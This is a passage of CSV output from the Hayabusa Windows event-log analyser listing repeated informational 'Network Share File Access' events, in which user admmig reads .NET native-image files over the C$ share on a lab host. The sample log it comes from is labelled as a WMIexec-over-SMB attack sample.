+09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P047767ce#\f05e09fe4c0d9354867afe11b4e9db8c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.811 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\89e812888a4e94f1d2bf0da1c4c6ee5b : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P655586bb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P655586bb#\f3228ac51b37737ae2ce1176bbbad2ce : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P39041136# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P39041136#\cabc62ca2a04f99fe9af65799a727687 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\1617c5f47d154a5d7cf1f53851398006 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\19b334bb62b3c76cfcc7137bb03371c3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pcd26229b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pcd26229b#\822ee6a8aa9386352052b7bd2610f3b5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.842 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pd3efef62# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.842 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pd3efef62#\ab00f4aa6892c4c6d39b87f078e8208f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.842 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pefb7a36b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.842 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pefb7a36b#\93b57911ae369118b40a5605c448eb9d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.842 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.R251a4777# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.842 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.R251a4777#\b090c87f42b1af785a6a9d1c43c201c6 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.842 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S0f8e494c# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.842 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S0f8e494c#\c59f97903ad4de423586f3a75eb8939d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.858 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S1bc92e04# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.858 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S1bc92e04#\f6f9e39cc765b7ceda89fc7893e0f74c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.858 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S8ca2c749# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.858 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S8ca2c749#\7ddbc8b883fb594b4efd9f4b016a4657 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.858 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S54faafb0# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.873 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S54faafb0#\54486a01e573ae88df2c9fc21771e5ef : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.873 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S356e1ba0# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.873 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S356e1ba0#\29e4fb69d6e2ff119c3e89fe9f23ea71 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.873 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S88747207# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.873 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S88747207#\e998cb40c6a3657a6090a653616ee0d2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.873 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Sa56e3556# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.873 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Sa56e3556#\2da102d7caf13b4e082aabda839cabfd : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Sb6a1f1bc# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Sb6a1f1bc#\05a925477e72821ff9fa9527061d8527 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.T9d753d8c# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.T9d753d8c#\9543db50e278526c3ba397cf5c7862cb : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Te49ad7d9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Te49ad7d9#\1834f24e507a831c635b80067fc7a428 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Te3736ca4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Te3736ca4#\f98240dfe778b4b39045d17817485b8a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ud0e65fb9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ud0e65fb9#\bb434af0d1c0846eba8f3fc7986a5cdc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\b59fee046dfa048ec5f5180dc88f835d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V4381984f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V4381984f#\07b01287acdaf4ef356c3918db535afd : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Vb0a86591# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Vb0a86591#\a45750f13b28bdd0fb2adff38d6cd46f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Vf4833439# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Vf4833439#\fdcc95e5c05a2fec4f9c33b7e325ccd8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.VisualC : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.VisualC\999abcb4ea322b606c8f211d12ccb5a0 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W0bb5dac4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W0bb5dac4#\f5bca9052007da4e51412dc152a52942 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.937 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W2bac6884# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.937 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W2bac6884#\26a1a0abca839c13b1337a076531d7a2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.937 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W2d29a719# : IP Address: 